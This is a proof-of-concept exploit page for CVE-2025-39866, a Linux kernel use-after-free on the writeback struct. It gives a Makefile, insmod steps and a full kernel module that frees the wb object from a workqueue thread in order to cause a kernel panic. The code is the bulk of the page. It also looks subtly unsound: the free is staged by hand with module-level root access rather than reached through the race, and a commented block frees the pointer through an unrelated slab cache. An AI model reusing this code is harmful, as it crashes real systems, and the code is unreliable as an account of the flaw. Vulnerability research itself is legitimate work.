use-after-free - wb struct


Description

This POC attempts to exploit the CVE-2025-39866 vulnerability, which is a flaw in Linux systems < 6.12.16 due to the lack of a spinlock for threads, causing a race condition. The first thread tries to use the wb struct while thread 2 frees this structure, causing the first thread to deal with a free pointer, leading to a kernel panic for the system. We can divide the idea of exploiting the vulnerability into the following stages:

  1. Step 1 — Thread 1 (main PID) :
    • Create thread 1 and get the main PID.
    • Get root dentry (e.g. /tmp).
    • Create the target file (e.g. /tmp/file.txt) and write data (writeback target).
    • Obtain the file's inode structure.
    • Obtain/create the writeback object (wb).
    • Save the pointer to the wb object in wb_old (preserve it for later).
  2. Step 2 — Thread 2 (kthread) and work item :
    • Create Thread 2 (a kernel thread / kthread) which prepares and schedules a work item.
    • The work item executes inode_switch_wbs_work_fn, updates inode->i_wb and triggers the critical free by calling wb_put_many.
  3. Step 3 — Race condition and crash :
    • Thread 2 frees the wb_old object (via the workqueue).
    • Thread 1 later uses the pointer to the wb object (now freed) — use-after-free.
    • Access to the freed address leads to kernel crash / panic (segfault / oops).

1 - Author :

Byte Reaper :

2 - Build :

    	1 - He created a Makefile and included these commands to compile and build the kernel module:

            obj-m += exploit.o

            KDIR := /usr/src/linux-headers-6.12.38+kali-amd64
            PWD := $(shell pwd)

            all:
                    make -C $(KDIR) M=$(PWD) modules

            clean:
                    make -C $(KDIR) M=$(PWD) clean

3 - Run POC :

   	# make clean 
	# make 
	1 -  You will find a file named "exploit.ko," which is a kernel module. To load it into the kernel space, use the insmod tool :
	# insmod exploit.ko 

4 - POC :

File: poc.c — Size: 8,87 KB — Lines: 323

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/pid.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/workqueue.h>
#include <linux/namei.h>
#include <linux/err.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/string.h>
#include <linux/fdtable.h>
#include <linux/file.h>
#include <linux/backing-dev.h>
#include <linux/writeback.h>

static void inode_switch_wbs_work_fn(struct work_struct* work);
struct bdi_writeback* oldWbValue;
struct inode* oldIndode;
static struct workqueue_struct* cleanWORK;

struct my_wb_work 
{
    struct work_struct work;
    struct bdi_writeback* wb_old; 
    struct inode* inode;
};
struct myWriteback
{
    int data;
    atomic_t refcount;
};

static void inode_switch_wbs_work_fn(struct work_struct* work)
{
    struct my_wb_work* wbWork = container_of(work, 
        struct my_wb_work, 
        work);
    wb_put_many(wbWork->wb_old, 1);

    kfree(wbWork);
}

static int func1(void)
{
    pid_t mainPid;
    struct pid* pidS;
    struct task_struct* task;

    mainPid = current->tgid;
    if (mainPid == 0)
    {
        printk(KERN_ERR "[-] PID IS 0 !\n");
        return -EINVAL;
    }

    printk(KERN_INFO "[+] MAIN PID (thread 1) : %d\n", mainPid);

    pidS = find_get_pid(mainPid);
    if (!pidS)
    {
        printk(KERN_ERR "[-] PID %d not found, Exit...\n", mainPid);
        return -ESRCH;
    }

    task = pid_task(pidS, PIDTYPE_PID);
    if (!task)
    {
        printk(KERN_ERR "[-] Task Struct for PID %d not found\n", mainPid);
        return -ESRCH;
    }

    printk(KERN_INFO "[+] Found process: %s with PID: %d\n", task->comm, task->pid);
    
    printk(KERN_INFO "[+] Get Root Dentry (/tmp)...\n");
    struct path path;
    int v = kern_path("/tmp",
        LOOKUP_FOLLOW, 
        &path);
    if (v)
    {
        printk(KERN_ERR "[-] Cannot get path tmp !\n");
        return -EINVAL;
    }
    printk(KERN_INFO "[+] Get Path tmp success.\n");
    struct dentry* rootDentry = path.dentry;
    struct vfsmount* mount = path.mnt;
    if (rootDentry != NULL && mount != NULL)
    {
        printk(KERN_INFO "[+] Get Success ROOT DENTRY AND MOUNT POINT.\n");
        printk(KERN_INFO "[+] PATH Root Dentry : %s\n", 
            rootDentry->d_name.name);
        printk(KERN_INFO "[+] Mount root (ID) : %s\n", 
            mount->mnt_sb->s_id);

    }
    struct file* filp;
    int fd;
    fd = get_unused_fd_flags(O_CLOEXEC);
    if (fd < 0)
    {
        return fd;
    }
    printk(KERN_INFO "[+] File Create Module, Initializing...\n");
    filp = filp_open("/tmp/file.txt",
           O_WRONLY | O_CREAT,
            0600);
    if (IS_ERR(filp))
    {
        int e = PTR_ERR(filp);
        put_unused_fd(fd);
        printk(KERN_ERR "[-] File OPEN failed : %d\n", 
            e);
        return e;
    }
    fd_install(fd, 
        filp);
    printk(KERN_INFO "[+] File /tmp/file.txt created and installed on fd=%d\n", fd);
    char* data = "Target File.\n";
    ssize_t w; 
    loff_t offset = 0;
    w = kernel_write(filp, 
        data, 
        strlen(data), 
        &offset);
    if (w < 0)
    {
        printk(KERN_ERR "[-] Kernel Write Data failed : %zd\n", 
            w);
    }
    else 
    {
        printk(KERN_INFO "[+] Write %zd bytes to file\n", 
            w);
        if (offset != 0)
        {
            printk(KERN_INFO "[+] Current offset in file: %lld\n", 
                (long long)offset);
        }
    }
    struct inode* inode;
    inode = file_inode(filp);
    if (!inode)
    {
        pr_err("[-] No INODE IN FILE !\n");
        return -EINVAL;
    }
    __mark_inode_dirty(inode, 
        I_DIRTY_SYNC);
    
    struct address_space* mapping;
    mapping = inode->i_mapping;
    struct backing_dev_info* bdi = inode_to_bdi(inode);
    struct bdi_writeback* wb = &bdi->wb;
    if (bdi != NULL && (wb != NULL && mapping != NULL))
    {
        printk(KERN_INFO "[+] WB object Get Success.\n");
        printk(KERN_INFO "[+] WB Pointer : %p\n",
            wb);
        printk(KERN_INFO "[+] Pointer Mapping inode : %p\n",
            mapping);
    }
    else
    {
        printk(KERN_ERR "[-] Error get WB and mapping inode (NULL value) !\n");
        return -EINVAL;
    }
    put_task_struct(task);
    put_pid(pidS);
    oldWbValue = wb;
    oldIndode = inode;
    return 0;
}
static int func2(void *data)
{
    bool done = false;
    while (!kthread_should_stop())
    {
        struct task_struct* taskThread2;
        struct pid* pidStruct;
        printk(KERN_INFO "[+] Thread 2 is RUN SUCCESS.\n");
        ssleep(1);
        pid_t kthreadPid;
        
        kthreadPid = current->tgid;
        printk(KERN_INFO "[+] PID thread 2 : %d\n", kthreadPid);
        if (kthreadPid == 0)
        {
            printk(KERN_ERR "[-]  Error get TGID !\n");
            return -EINVAL;
        }
        printk(KERN_INFO "[+] TGID Thread 2 : %d\n", kthreadPid);
        
        pidStruct = find_get_pid(kthreadPid);
        if (!pidStruct)
        {
            printk(KERN_ERR "[-] Error Find PID thread 2 !\n");
        }
        taskThread2 = pid_task(pidStruct,
            PIDTYPE_PID);
        if (taskThread2)
        {
            get_task_struct(taskThread2);
        }
        else
        {
            printk(KERN_INFO "[-] Error get TASK struct !\n");
            return -EINVAL;
        }
        printk(KERN_INFO "[+] Found process thread 2 : %s with PID: %d\n", 
            taskThread2->comm, 
            taskThread2->pid);        
        if (oldWbValue == NULL || oldIndode == NULL)
        {
            printk("[-] Error switch wb_old (NULL value) OR (inode_old NULL) !\n");
            return -EINVAL;
        }
        struct my_wb_work* wbWork = kmalloc(sizeof(*wbWork),
            GFP_KERNEL);
        
        if (!wbWork) 
        {
            printk(KERN_ERR "[-] Error allocating WB work struct!\n");
            return -ENOMEM;
        }
        printk(KERN_INFO "[+] Get WB work Success (NOT NULL struct)\n");
        wbWork->wb_old = oldWbValue;
        wbWork->inode = oldIndode;
        if (wbWork->wb_old == NULL ||
            wbWork->inode == NULL)
        {
            printk(KERN_INFO "[-] Error Set old inode and wb, Exit...\n");
            return -EINVAL;
        }
        printk(KERN_INFO "[+] Set Success OLD WB AND OLD INODE (o_inode && old_wb Not NULL).\n");
        if (!cleanWORK) 
        {
            cleanWORK = alloc_workqueue("cleanWB", 
                WQ_UNBOUND | WQ_MEM_RECLAIM, 
                0);
        }
        INIT_WORK(&wbWork->work, 
            inode_switch_wbs_work_fn);
        bool queue = queue_work(cleanWORK, 
            &wbWork->work);
        if (queue == false)
        {
            printk(KERN_WARNING "[-] Work was already queued, not added again!\n");
            return -1;
        }
        printk(KERN_INFO "[+] Switch wb_old and inode_old Sucess (inode_switch_wbs_work_fn)\n");
        put_task_struct(taskThread2);
        put_pid(pidStruct);
        printk(KERN_INFO "[+] PUT PID AND Struct TASK...\n");
        printk(KERN_INFO "[+] Free old wb...\n");
        // POC CONFIRMATION: Uncomment this block if you want to verify the Race Condition success. 
    // A resulting Double Free will confirm the pointer was previously freed by wb_put_many().
        //struct kmem_cache* cacheWB; 
        //cacheWB = kmem_cache_create("cacheWB",
            //sizeof(struct myWriteback),
            //0, SLAB_HWCACHE_ALIGN, 
            //NULL);

        //struct writeback* wbCopy = kmem_cache_alloc(cacheWB, GFP_KERNEL);
        //wbCopy = (struct writeback*)oldWbValue;
        //kmem_cache_free(cacheWB, wbCopy);
        done = true;
        if (done == true)
        {
            break;
        } 
    }
    
    return 0;

}
struct task_struct* threadE;

static int __init initM(void)
{
    printk(KERN_INFO "[+] Module loaded successfully\n");
    if (func1() != 0)
    {
        printk(KERN_ERR "[-] func1 failed, exiting module\n");
        return -1;  
    }
    threadE = kthread_run(func2, 
        NULL, 
        "threaD2");
    if (IS_ERR(threadE)) 
    {
        printk(KERN_ERR "[-] Failed to create thread 2\n");
        return PTR_ERR(threadE);
    }
    
    return 0;
}

static void __exit exitM(void)
{
    if (threadE)
    {
        kthread_stop(threadE);
        threadE = NULL;
    }
    if (cleanWORK) 
    {
        flush_workqueue(cleanWORK);   
        destroy_workqueue(cleanWORK); 
        cleanWORK = NULL;
    }
      
    printk(KERN_ALERT "[+] Module removed.\n");
}

module_init(initM);
module_exit(exitM);
MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("Byte Reaper");
MODULE_DESCRIPTION("Exploit for CVE-2025-39866");
Download

5- References :

  • NVD : link
  • CVE : link
  • backing-dev.h (struct bdi_writeback) : link
  • fs-writeback.c (inode_switch_wbs_work_fn()) : link